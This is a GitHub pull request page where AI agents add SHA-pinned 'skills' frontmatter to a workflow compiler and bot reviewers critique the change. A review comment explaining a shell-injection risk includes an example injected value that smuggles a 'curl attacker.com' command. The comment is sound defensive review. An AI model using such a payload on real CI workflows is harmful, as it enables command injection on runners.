Skip to content

Add frontmatter skills support with activation-time gh skill install and engine wiring#42426

Merged
pelikhan merged 8 commits into
mainfrom
copilot/add-builtin-support-for-skills
Jun 30, 2026
Merged

Add frontmatter skills support with activation-time gh skill install and engine wiring#42426
pelikhan merged 8 commits into
mainfrom
copilot/add-builtin-support-for-skills

Conversation

Copilot AI commented Jun 30, 2026

Copy link
Copy Markdown
Contributor

This change adds built-in workflow frontmatter support for skills using SHA-pinned references and makes activation install those skills via gh skill. It also propagates configured skills into runtime metadata so the selected agent engine can discover/load them consistently.

  • Frontmatter contract

    • Added skills to main workflow frontmatter schema and typed config.
    • Supports both forms:
      • owner/repo@<40-char-sha> (install all skills from repo)
      • owner/repo/skill/path@<40-char-sha> (install one skill path)
    • Added validation helpers to enforce full lowercase 40-char SHA pinning and reject invalid specs.
  • Compiler data flow

    • Added Skills to workflow compile data and extraction from frontmatter.
    • Wired skills through orchestration so downstream YAML/job generation has explicit access to the declared set.
  • Activation behavior

    • Added activation steps to ensure gh is installed/upgraded and version-gated for gh skill support.
    • Added skill install logic using gh skill install, specializing behavior by spec type (--all for repo specs).
    • Routed install destination via engine-specific skill directory mapping.
    • Added operator-visible logging to step summary and runtime logs.
  • Runtime/engine notification

    • Added GH_AW_INFO_SKILLS emission in generated workflow env.
    • Updated generate_aw_info.cjs to parse, validate, and expose skills in aw_info.json, with warnings for malformed entries.
  • Skill artifact persistence

    • Updated activation upload + main job restore conditions so skill directories are preserved/restored when frontmatter skills are present (even outside inline-agent-only paths).
# Example frontmatter
skills:
  - githubnext/skills@1f181b37d3fe5862ab590648f25a292e345b5de6
  - githubnext/skills/review/security@1f181b37d3fe5862ab590648f25a292e345b5de6

Copilot AI and others added 2 commits June 30, 2026 06:20
…ring

Co-authored-by: pelikhan <4175913+pelikhan@users.noreply.github.com>
Co-authored-by: pelikhan <4175913+pelikhan@users.noreply.github.com>
Copilot AI changed the title Add builtin frontmatter skills support in workflows Add frontmatter skills support with activation-time gh skill install and engine wiring Jun 30, 2026
Copilot AI requested a review from pelikhan June 30, 2026 06:29
@github-actions

Copy link
Copy Markdown
Contributor

🤖 PR Triage — Run §28445959231

Field Value
Category feature
Risk 🔴 High
Priority 🟡 Medium
Score 45 / 100
Action 🕐 defer
CI ⭕ NO_CI
Age 6.5h · 🚧 DRAFT
Batch experimental (#42426, #42314, #42100)

Score breakdown: Impact 22/50 · Urgency 14/30 · Quality 9/20

Frontmatter skills support with activation-time gh skill install and engine wiring (346+/6−, 16 files). High-risk feature DRAFT — no CI yet. Part of experimental batch alongside #42314 and #42100. Defer until out of draft and CI passes. Labels already applied.

Generated by 🔧 PR Triage Agent · 52.3 AIC · ⌖ 8.71 AIC · ⊞ 1.6K ·

@pelikhan

Copy link
Copy Markdown
Collaborator

@copilot update Matt pocock , impeccable to use skills frontmatter

"description": "Optional list of external skill references to install during activation. Supports repository-wide installs (`owner/repo@<sha>`) and path-scoped installs (`owner/repo/skill/path@<sha>`). References must always be pinned to full 40-character lowercase commit SHAs.",
"items": {
"type": "string",
"pattern": "^[A-Za-z0-9_.-]+\\/[A-Za-z0-9_.-]+(?:\\/[A-Za-z0-9_.-]+(?:\\/[A-Za-z0-9_.-]+)*)?@[0-9a-f]{40}$"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@copilot add support for github actions expressions

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Implemented in 54ee1ac (with the main support added in fffec7e). skills now accepts GitHub Actions expressions in schema and frontmatter validation, with tests covering expression-based refs.

Copilot AI and others added 2 commits June 30, 2026 15:05
Co-authored-by: pelikhan <4175913+pelikhan@users.noreply.github.com>
Co-authored-by: pelikhan <4175913+pelikhan@users.noreply.github.com>
Copilot AI requested a review from pelikhan June 30, 2026 15:10
@pelikhan pelikhan marked this pull request as ready for review June 30, 2026 15:39
Copilot AI review requested due to automatic review settings June 30, 2026 15:39
@github-actions

github-actions Bot commented Jun 30, 2026

Copy link
Copy Markdown
Contributor

🧠 Matt Pocock Skills Reviewer has completed the skills-based review. ✅

@github-actions

github-actions Bot commented Jun 30, 2026

Copy link
Copy Markdown
Contributor

⚠️ PR Code Quality Reviewer failed during code quality review.

@github-actions

github-actions Bot commented Jun 30, 2026

Copy link
Copy Markdown
Contributor

Design Decision Gate 🏗️ completed the design decision gate check.

@github-actions

github-actions Bot commented Jun 30, 2026

Copy link
Copy Markdown
Contributor

Test Quality Sentinel completed test quality analysis.

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Adds first-class workflow frontmatter support for skills, validates/propagates the configured skill specs through compilation, installs them during the activation job via gh skill install, and exposes the configured list to the runtime via aw_info.json so agent engines can discover the declared skills consistently.

Changes:

  • Added skills to the frontmatter schema/types, extraction into WorkflowData, and validation (including SHA-pinning rules + expression allowances).
  • Implemented activation-job installation of declared skills (with artifact persistence + restore in the main job when skills are present).
  • Emitted GH_AW_INFO_SKILLS into the generated workflow and updated generate_aw_info.cjs to parse/persist skills into aw_info.json (with tests).
Show a summary per file
File Description
pkg/workflow/workflow_builder.go Extracts skills from parsed/raw frontmatter into compiled workflow data.
pkg/workflow/skills_frontmatter.go Adds skills frontmatter validation + helper to detect repo-spec vs path-spec.
pkg/workflow/skills_frontmatter_test.go Unit tests for skills frontmatter validation and repo-spec detection.
pkg/workflow/frontmatter_types.go Adds Skills []string to typed frontmatter config.
pkg/workflow/frontmatter_types_test.go Verifies skills array parsing into typed config.
pkg/workflow/compiler_yaml.go Emits GH_AW_INFO_SKILLS env for downstream aw_info.json generation.
pkg/workflow/compiler_yaml_main_job.go Restores engine skills directory when inline agents are enabled or frontmatter skills are present.
pkg/workflow/compiler_types.go Adds Skills to WorkflowData to carry configured specs through compilation.
pkg/workflow/compiler_orchestrator_frontmatter.go Hooks skills validation into main workflow frontmatter validation flow.
pkg/workflow/compiler_orchestrator_frontmatter_test.go Tests invalid pinned refs and expression-based skill refs in frontmatter parsing.
pkg/workflow/compiler_activation_job.go Wires activation skill install step injection into activation job build.
pkg/workflow/compiler_activation_job_builder.go Implements activation steps to install frontmatter skills and persist them in activation artifacts.
pkg/workflow/activation_skills_step_test.go Ensures activation job includes gh upgrade/version gate + skill install commands.
pkg/parser/schemas/main_workflow_schema.json Extends main workflow JSON schema to include skills with pinned SHA + expression patterns.
actions/setup/js/generate_aw_info.test.cjs Adds test coverage for skills being included/logged in aw_info.json.
actions/setup/js/generate_aw_info.cjs Parses GH_AW_INFO_SKILLS and persists to aw_info.json with warnings on malformed entries.

Review details

Tip

Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

  • Files reviewed: 16/16 changed files
  • Comments generated: 1
  • Review effort level: Low

Comment on lines +562 to +569
for _, skillSpec := range ctx.data.Skills {
ctx.steps = append(ctx.steps, fmt.Sprintf(" echo \"Installing skill reference: %s\"\n", skillSpec))
if isRepositorySkillSpec(skillSpec) {
ctx.steps = append(ctx.steps, fmt.Sprintf(" gh skill install %q --all --dir \"${SKILLS_DST}\" --force\n", skillSpec))
continue
}
ctx.steps = append(ctx.steps, fmt.Sprintf(" gh skill install %q --dir \"${SKILLS_DST}\" --force\n", skillSpec))
}
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
@github-actions

Copy link
Copy Markdown
Contributor

Design Decision Gate — ADR Required

This PR makes significant changes to core business logic (354 new lines in pkg/ and actions/) but does not have a linked Architecture Decision Record (ADR).

Draft ADR committed: docs/adr/42426-declare-skills-in-workflow-frontmatter.md — review and complete it before merging.

This PR cannot merge until an ADR is linked in the PR body.

What to do next
  1. Review the draft ADR committed to your branch at docs/adr/42426-declare-skills-in-workflow-frontmatter.md — it was generated from the PR diff
  2. Complete the missing sections — add context the AI could not infer, refine the decision rationale, and list real alternatives you considered
  3. Commit the finalized ADR to docs/adr/ on your branch
  4. Reference the ADR in this PR body by adding a line such as:

    ADR: ADR-42426: Declare External Skills in Workflow Frontmatter

Once an ADR is linked in the PR body, this gate will re-run and verify the implementation matches the decision.

Why ADRs Matter

ADRs create a searchable, permanent record of why the codebase looks the way it does. Future contributors (and your future self) will thank you.

Michael Nygard ADR Format Reference

An ADR must contain these four sections to be considered complete:

  • Context — What is the problem? What forces are at play?
  • Decision — What did you decide? Why?
  • Alternatives Considered — What else could have been done?
  • Consequences — What are the trade-offs (positive and negative)?

All ADRs are stored in docs/adr/ as Markdown files numbered by PR number (e.g., 42426-declare-skills-in-workflow-frontmatter.md for PR #42426).

🏗️ ADR gate enforced by Design Decision Gate 🏗️ · 59.8 AIC · ⌖ 10.2 AIC · ⊞ 8.4K ·
Comment /review to run again

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Review: frontmatter skills support

Solid end-to-end implementation — schema, validation, activation install, artifact persistence, and runtime exposure via aw_info.json are all consistent. Three issues worth addressing before merge:

# Severity File Issue
1 Security compiler_activation_job_builder.go:563 Expression-based skill specs are interpolated directly into the run: script; GitHub Actions resolves them before the shell runs, so a malicious input value can break shell command boundaries (shell injection).
2 Maintainability skills_frontmatter.go:42-45 strings.Cut + gitutil.IsValidFullSHA after a successful skillSpecRegexp.MatchString is unreachable dead code — the regex already guarantees a valid 40-char lowercase SHA.
3 Reliability activation_skills_step_test.go Test coverage exists only for SHA-pinned specs; expression-based specs (${{ inputs.skill_ref }}, owner/repo@${{ github.sha }}) lack activation-job generation tests, leaving the known isRepositorySkillSpec compile-time limitation untested and undocumented.

The isRepositorySkillSpec limitation for whole-expression specs (always treated as path-spec, no --all) was separately noted in an existing review thread — issues 1 and 2 above are additive findings.

References: §28456738135

🧵 Reviewed using Impeccable skills by Impeccable Skills Reviewer · 71.4 AIC · ⌖ 6.76 AIC · ⊞ 4.9K

ctx.steps = append(ctx.steps, " echo \"Installing frontmatter skills to ${SKILLS_DST}\"\n")
ctx.steps = append(ctx.steps, " echo \"Existing skills at destination may be replaced (--force) to ensure pinned refs are up to date\"\n")
for _, skillSpec := range ctx.data.Skills {
ctx.steps = append(ctx.steps, fmt.Sprintf(" echo \"Installing skill reference: %s\"\n", skillSpec))

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Security: shell injection risk for expression-based skill specs

The echo line uses %s (no additional quoting), and the gh skill install lines use Go %q — but in both cases the shell injection concern is the same: the ${{ inputs.skill_ref }}-style expression is embedded literally in the run: script. GitHub Actions resolves the expression before the shell executes the script, so a malicious input value (e.g. legit/spec@sha"; curl attacker.com; echo ") can break shell command boundaries.

The GitHub Actions security recommendation is to pass user-controlled inputs through env variables, not directly in run: blocks:

env:
  SKILL_SPEC: ${{ inputs.skill_ref }}
run: |
  echo "Installing skill reference: ${SKILL_SPEC}"
  gh skill install "${SKILL_SPEC}" --dir "${SKILLS_DST}" --force

Since each spec is known at compile time, you could instead write all resolved specs into GH_AW_SKILLS (already done as JSON) and loop over them in the shell using jq or a heredoc, keeping every user-controlled value exclusively in env vars and never interpolated directly into the script text.

@copilot please address this.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in a1e89b7 (with a follow-up note in 0a451d9). Activation now passes each skill spec through step env vars and installs from quoted shell variables, so expression-based refs are no longer interpolated directly into the run: script.

Comment thread pkg/workflow/skills_frontmatter.go Outdated
)
}
_, ref, ok := strings.Cut(skillSpec, "@")
if !ok || !gitutil.IsValidFullSHA(ref) {

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Redundant SHA validation — unreachable dead code

skillSpecRegexp already requires the suffix @[0-9a-f]{40}$, so if the MatchString check above succeeds, the SHA is guaranteed to be a valid 40-char lowercase hex string by construction. The strings.Cut + gitutil.IsValidFullSHA branch here can never fire: strings.Cut always finds @ (the regex requires it) and IsValidFullSHA always returns true for the extracted suffix.

Consider removing lines 42-45 to avoid misleading future readers into thinking there is a case the regex does not cover:

// Remove these lines — they are unreachable after the regex check above
_, ref, ok := strings.Cut(skillSpec, "@")
if !ok || !gitutil.IsValidFullSHA(ref) {
    return fmt.Errorf(...)
}

@copilot please address this.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in a1e89b7. I removed the unreachable post-regex SHA validation branch from skills_frontmatter.go.

assert.Contains(t, steps, "gh skill install \"githubnext/skills@1f181b37d3fe5862ab590648f25a292e345b5de6\" --all --dir \"${SKILLS_DST}\" --force")
assert.Contains(t, steps, "gh skill install \"githubnext/skills/review/security@1f181b37d3fe5862ab590648f25a292e345b5de6\" --dir \"${SKILLS_DST}\" --force")
assert.Contains(t, steps, "### Frontmatter skills installed")
}

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Missing test coverage for expression-based skill specs

This test exercises SHA-pinned specs only. validateFrontmatterSkills explicitly permits two additional spec forms:

  • Whole-expression: ${{ inputs.skill_ref }}
  • Expression-ref: githubnext/skills@${{ github.sha }}

A complementary test case covering these forms would document the expected generated YAML (e.g., that whole-expression specs produce no --all flag and that expression-ref specs do) and guard against silent regressions if the generation logic changes. This is especially valuable given the existing known limitation that whole-expression specs are always treated as path-specs at compile time.

@copilot please address this.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in a1e89b7. activation_skills_step_test.go now covers expression-based skill specs and verifies they are passed through env vars instead of being embedded directly in the shell script.

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Skills-Based Review 🧠

Applied /tdd, /codebase-design, /diagnosing-bugs, /grill-with-docs, and /improve-codebase-architecture — requesting changes on two correctness issues and several test gaps.

📋 Key Themes & Highlights

Blocking Issues

  • Silent error swallowing in addActivationSkillInstallSteps — the function returns void while all sibling methods return error. A JSON marshal failure silently drops all skill install steps from the activation job with no observable signal. This should be changed to return error and propagate up through buildActivationJob.
  • Silent marshal failure in compiler_yaml.go — if json.Marshal fails for GH_AW_INFO_SKILLS, the env var is silently omitted with no log line. The engine would start with no skills and no indication why.

Test Coverage Gaps

  • Missing boundary tests for the 40-char SHA constraint (39-char, uppercase, non-string items, empty array)
  • Warning paths in parseSkillsFromEnv (malformed JSON, non-array, non-string items) are untested in the JS layer
  • No test for the default case: skills-absent workflows should produce no extra activation steps
  • isRepositorySkillSpec behaviour with expression-based refs (githubnext/skills@${{ github.sha }}) is meaningful but untested

Clarity

  • Schema description says "always be pinned to full 40-char SHAs" but expression refs bypass this — misleading for users reading the description
  • GH_AW_SKILLS env var in the generated step is only informational (install loop is unrolled at compile time), which could confuse operators who try to override it at runtime
  • isRepositorySkillSpec and the raw-fallback path in extractFrontmatterSkills both have implicit invariants that benefit from a one-line comment

Positive Highlights

  • ✅ Full end-to-end wiring: schema → parsing → validation → activation → compilation → runtime env — no gaps in the data flow
  • ✅ SHA-pinning enforced at two independent layers (JSON Schema pattern + Go regex + gitutil.IsValidFullSHA)
  • ✅ Activation steps handle both repo-wide (--all) and path-scoped installs correctly
  • ✅ Artifact persistence logic is consistent between upload and restore conditions
  • ✅ Operator-visible step summary with skill count is a nice touch

🧠 Reviewed using Matt Pocock's skills by Matt Pocock Skills Reviewer · 103.2 AIC · ⌖ 9.24 AIC · ⊞ 6.5K
Comment /matt to run again

skillDir := GetEngineSkillDir(engineID)
skillSpecsJSON, err := json.Marshal(ctx.data.Skills)
if err != nil {
compilerActivationJobLog.Printf("Failed to marshal skills list for activation job: %v", err)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[/codebase-design] addActivationSkillInstallSteps silently swallows the json.Marshal error and returns void, leaving the activation job without any skill-install steps and no observable signal to the caller or tests.

Every sibling addActivation* method returns error. Breaking that invariant here makes silent failures untestable.

💡 Suggested fix

Change the signature to return error:

func (c *Compiler) addActivationSkillInstallSteps(ctx *activationJobBuildContext) error {
    if len(ctx.data.Skills) == 0 {
        return nil
    }
    skillSpecsJSON, err := json.Marshal(ctx.data.Skills)
    if err != nil {
        return fmt.Errorf("failed to marshal skills list for activation job: %w", err)
    }
    // ... rest of the function ...
    return nil
}

Then in compiler_activation_job.go, mirror the pattern of surrounding steps:

if err := c.addActivationSkillInstallSteps(ctx); err != nil {
    return nil, fmt.Errorf("failed to add skill install steps: %w", err)
}

@copilot please address this.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in a1e89b7. addActivationSkillInstallSteps now returns an error, and buildActivationJob propagates failures instead of silently dropping the install steps.

}
}
if len(data.Skills) > 0 {
if skillsJSON, err := json.Marshal(data.Skills); err == nil {

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[/diagnosing-bugs] When json.Marshal fails here, GH_AW_INFO_SKILLS is silently omitted with no log or warning. The engine would start with no skills loaded, and the operator would have no indication why.

The features block three lines above follows the exact same pattern — consider at least adding a core.warning (or in Go, a log.Printf) in the else branch to surface this at runtime.

💡 Suggested fix
if len(data.Skills) > 0 {
    if skillsJSON, err := json.Marshal(data.Skills); err == nil {
        escapedSkillsJSON := strings.ReplaceAll(string(skillsJSON), "'", "''")
        fmt.Fprintf(yaml, "          GH_AW_INFO_SKILLS: '%s'\n", escapedSkillsJSON)
    } else {
        compilerYAMLLog.Printf("Failed to marshal skills for GH_AW_INFO_SKILLS, engine will not receive skill list: %v", err)
    }
}

@copilot please address this.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in a1e89b7. compiler_yaml.go now logs a warning when GH_AW_INFO_SKILLS cannot be marshaled instead of failing silently.

})
require.Error(t, err)
require.Contains(t, err.Error(), "40-char-sha")
})

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[/tdd] The rejects non-sha refs test covers a branch name (@main) but misses the critical boundary cases for the 40-char SHA constraint, which is the core security invariant of this feature.

💡 Missing edge cases to add
t.Run("rejects 39-char sha (one short)", func(t *testing.T) {
    err := validateFrontmatterSkills(map[string]any{
        "skills": []any{"githubnext/skills@1f181b37d3fe5862ab590648f25a292e345b5de"},  // 39 chars
    })
    require.Error(t, err)
})

t.Run("rejects uppercase sha chars", func(t *testing.T) {
    err := validateFrontmatterSkills(map[string]any{
        "skills": []any{"githubnext/skills@1F181B37D3FE5862AB590648F25A292E345B5DE6"},  // uppercase
    })
    require.Error(t, err)
})

t.Run("accepts empty skills array", func(t *testing.T) {
    err := validateFrontmatterSkills(map[string]any{"skills": []any{}})
    require.NoError(t, err)
})

t.Run("rejects non-string item", func(t *testing.T) {
    err := validateFrontmatterSkills(map[string]any{"skills": []any{42}})
    require.Error(t, err)
})

@copilot please address this.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in a1e89b7. skills_frontmatter_test.go now covers 39-char SHAs, uppercase SHAs, empty arrays, and non-string items.

assert.Contains(t, steps, "gh skill install \"githubnext/skills@1f181b37d3fe5862ab590648f25a292e345b5de6\" --all --dir \"${SKILLS_DST}\" --force")
assert.Contains(t, steps, "gh skill install \"githubnext/skills/review/security@1f181b37d3fe5862ab590648f25a292e345b5de6\" --dir \"${SKILLS_DST}\" --force")
assert.Contains(t, steps, "### Frontmatter skills installed")
}

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[/tdd] The test only covers the happy path (skills present). There is no test verifying that when Skills is nil or empty, addActivationSkillInstallSteps is a no-op and adds zero steps to the activation job. This is the default path for the vast majority of workflows.

💡 Suggested test to add
func TestBuildActivationJob_NoSkillsStepsWhenSkillsAbsent(t *testing.T) {
    compiler := NewCompiler(WithVersion("dev"))
    compiler.SetActionMode(ActionModeDev)

    data := &WorkflowData{
        Name: "no-skills-workflow",
        On:   `"on":\n  workflow_dispatch:`,
        AI:   "copilot",
    }

    job, err := compiler.buildActivationJob(data, false, "", "no-skills.lock.yml")
    require.NoError(t, err)
    require.NotNil(t, job)

    steps := strings.Join(job.Steps, "")
    assert.NotContains(t, steps, "Upgrade gh CLI for frontmatter skills")
    assert.NotContains(t, steps, "Install frontmatter skills")
}

@copilot please address this.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in a1e89b7. Added a no-skills activation test to verify the default path does not emit the frontmatter skill install steps.

Comment thread pkg/workflow/skills_frontmatter_test.go Outdated
}

func TestIsRepositorySkillSpec(t *testing.T) {
require.True(t, isRepositorySkillSpec("githubnext/skills@1f181b37d3fe5862ab590648f25a292e345b5de6"))

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[/tdd] TestIsRepositorySkillSpec only tests two static SHA-pinned specs. When a skill has an expression ref like githubnext/skills@${{ github.sha }}, isRepositorySkillSpec strips the @... suffix and counts one slash in the base (githubnext/skills), so it returns true and the generated install command receives --all. This behavior is meaningful but untested.

💡 Suggested cases to add
// Expression-based repo spec still gets --all
require.True(t, isRepositorySkillSpec("githubnext/skills@${{ github.sha }}"))
// Pure expression (no @) has 0 slashes in base → path-scoped, no --all
require.False(t, isRepositorySkillSpec("${{ inputs.skill_ref }}"))

@copilot please address this.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in a1e89b7. TestIsRepositorySkillSpec now covers both owner/repo@${{ ... }} and whole-expression refs.

ctx.steps = append(ctx.steps, " env:\n")
ctx.steps = append(ctx.steps, fmt.Sprintf(" GH_TOKEN: %s\n", c.resolveActivationToken(ctx.data)))
ctx.steps = append(ctx.steps, fmt.Sprintf(" GH_AW_SKILL_DIR: %q\n", skillDir))
ctx.steps = append(ctx.steps, fmt.Sprintf(" GH_AW_SKILLS: '%s'\n", escapedSkillSpecsJSON))

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[/improve-codebase-architecture] GH_AW_SKILLS is passed as a step env var but is only used in the step summary output (line 578). The actual install loop is unrolled at compile time in Go (lines 562–569), so this env var does not drive install logic at runtime.

This creates a subtle misleading signal: an operator reading the YAML might think GH_AW_SKILLS controls which skills are installed, but modifying it at runtime would have no effect. Consider renaming to something that signals its read-only/informational nature (e.g., GH_AW_SKILLS_LOG or GH_AW_SKILLS_SUMMARY) or adding a comment in the generated YAML.

@copilot please address this.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in a1e89b7. I renamed the informational env var to GH_AW_SKILLS_SUMMARY so it no longer looks like the runtime source of truth for installation.

},
"skills": {
"type": "array",
"description": "Optional list of external skill references to install during activation. Supports repository-wide installs (`owner/repo@<sha>`) and path-scoped installs (`owner/repo/skill/path@<sha>`). References must always be pinned to full 40-character lowercase commit SHAs.",

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[/grill-with-docs] The description field says "References must always be pinned to full 40-character lowercase commit SHAs", but the oneOf immediately below allows two expression-based forms that bypass the SHA requirement. A user reading only the description will miss the escape hatch.

💡 Suggested wording
"description": "Optional list of external skill references to install during activation. Supports repository-wide installs (`owner/repo@<sha>`) and path-scoped installs (`owner/repo/skill/path@<sha>`). Static references must be pinned to a full 40-character lowercase commit SHA. GitHub Actions expressions (`${{ ... }}`) are also accepted and are evaluated at runtime."

@copilot please address this.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in a1e89b7. The schema description now distinguishes static SHA-pinned refs from runtime GitHub Actions expressions.

}
const skills = [];
for (const [index, value] of parsed.entries()) {
if (typeof value === "string" && value.length > 0) {

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[/tdd] parseSkillsFromEnv accepts any non-empty string into aw_info.json without validating the spec format. While the Go compiler enforces the owner/repo@<40-char-sha> constraint at compile time, the env var could be set or overridden manually, and there is no test covering the warning paths (malformed JSON, non-array, non-string items).

💡 Missing tests to add in `generate_aw_info.test.cjs`
it("should warn and return null for non-array GH_AW_INFO_SKILLS", async () => {
  process.env.GH_AW_INFO_SKILLS = JSON.stringify("not-an-array");
  await main(mockCore, mockContext);
  const awInfo = JSON.parse(fs.readFileSync(awInfoPath, "utf8"));
  expect(awInfo.skills).toBeUndefined();
  expect(mockCore.warning).toHaveBeenCalledWith(expect.stringContaining("JSON array"));
});

it("should warn and skip non-string items in GH_AW_INFO_SKILLS", async () => {
  process.env.GH_AW_INFO_SKILLS = JSON.stringify([42, "valid/spec@" + "a".repeat(40)]);
  await main(mockCore, mockContext);
  expect(mockCore.warning).toHaveBeenCalledWith(expect.stringContaining("[0]"));
});

it("should warn and return null for unparseable GH_AW_INFO_SKILLS", async () => {
  process.env.GH_AW_INFO_SKILLS = "not-json";
  await main(mockCore, mockContext);
  const awInfo = JSON.parse(fs.readFileSync(awInfoPath, "utf8"));
  expect(awInfo.skills).toBeUndefined();
  expect(mockCore.warning).toHaveBeenCalledWith(expect.stringContaining("Failed to parse"));
});

@copilot please address this.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in a1e89b7. generate_aw_info.test.cjs now covers malformed JSON, non-array payloads, and non-string items for GH_AW_INFO_SKILLS.

return append([]string(nil), parsedFrontmatter.Skills...)
}

rawSkills, ok := frontmatter["skills"].([]any)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[/codebase-design] The raw-frontmatter fallback here operates on an implicit ordering invariant: validateFrontmatterSkills must have already run (and succeeded) before extractFrontmatterSkills is reached, so these raw strings are safe to use. That guarantee is invisible at the call site.

The analogous extractLSPConfig at line 171 has the same pattern — so this is a pre-existing convention — but the invariant is worth documenting here given the new security-sensitive nature of skill specs.

💡 Suggested comment
// Fallback to raw frontmatter when ParseFrontmatterConfig failed for non-skills reasons
// (e.g. unrecognized tool shapes). Safe because validateFrontmatterSkills already ran
// and succeeded on this frontmatter before we reach this point.
rawSkills, ok := frontmatter["skills"].([]any)

@copilot please address this.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in a1e89b7. I added a comment documenting why the raw skills fallback is safe at that point in the frontmatter flow.


func isRepositorySkillSpec(skillSpec string) bool {
base, _, _ := strings.Cut(skillSpec, "@")
return strings.Count(base, "/") == 1

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[/codebase-design] The strings.Count(base, "/") == 1 invariant is the load-bearing logic that distinguishes repo-wide from path-scoped installs, but it's not explained. Readers need to work backwards to understand that owner/repo has exactly one slash and owner/repo/skill/path has more than one.

A short comment would save future maintainers from having to reconstruct this reasoning, especially since the function is also called for expression-based specs (where the base might be the full expression string with zero slashes).

💡 Suggested comment
func isRepositorySkillSpec(skillSpec string) bool {
    base, _, _ := strings.Cut(skillSpec, "@")
    // owner/repo has exactly 1 slash; owner/repo/skill/path has 2+.
    // Expression specs (no "@") have 0 slashes and are treated as path-scoped.
    return strings.Count(base, "/") == 1
}

@copilot please address this.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in a1e89b7. I documented the slash-count invariant in isRepositorySkillSpec, and the runtime detection path got a matching alignment note in 0a451d9.

@github-actions

Copy link
Copy Markdown
Contributor

🧪 Test Quality Sentinel Report

⚠️ Test Quality Score: 73/100 — Acceptable

Analyzed 7 test(s): 7 design, 0 implementation, 0 hard guideline violation(s); test inflation detected in 2 modified files with minimal corresponding production-file changes.

📊 Metrics & Test Classification (7 tests analyzed)
Metric Value
New/modified tests analyzed 7
✅ Design tests (behavioral contracts) 7 (100%)
⚠️ Implementation tests (low value) 0 (0%)
Tests with error/edge cases 3 (43%)
Duplicate test clusters 0
Test inflation detected YES — 2 files
🚨 Coding-guideline violations 0 (no mock libraries, all new files have build tags)
Test File Classification Issues Detected
should include frontmatter skills and log them with core.info actions/setup/js/generate_aw_info.test.cjs:120 ✅ Design
TestBuildActivationJob_AddsFrontmatterSkillsInstallSteps pkg/workflow/activation_skills_step_test.go:13 ✅ Design ⚠️ 6 assert.Contains() lack descriptive failure messages
TestParseFrontmatterSection_InvalidSkillsRef pkg/workflow/compiler_orchestrator_frontmatter_test.go:269 ✅ Design
TestParseFrontmatterSection_ExpressionSkillsRef pkg/workflow/compiler_orchestrator_frontmatter_test.go:300 ✅ Design
TestParseFrontmatterConfig/parses_skills_array pkg/workflow/frontmatter_types_test.go:58 ✅ Design
TestValidateFrontmatterSkills (3 subtests) pkg/workflow/skills_frontmatter_test.go:11 ✅ Design
TestIsRepositorySkillSpec pkg/workflow/skills_frontmatter_test.go:43 ✅ Design ⚠️ require.True/require.False lack descriptive messages

Go: 6 (*_test.go); JavaScript: 1 (*.test.cjs).

Test inflation analysis:

Test file (additions) Production file (additions) Ratio Status
activation_skills_step_test.go (42) compiler_activation_job_builder.go (72) 0.58:1
skills_frontmatter_test.go (47) skills_frontmatter.go (54) 0.87:1
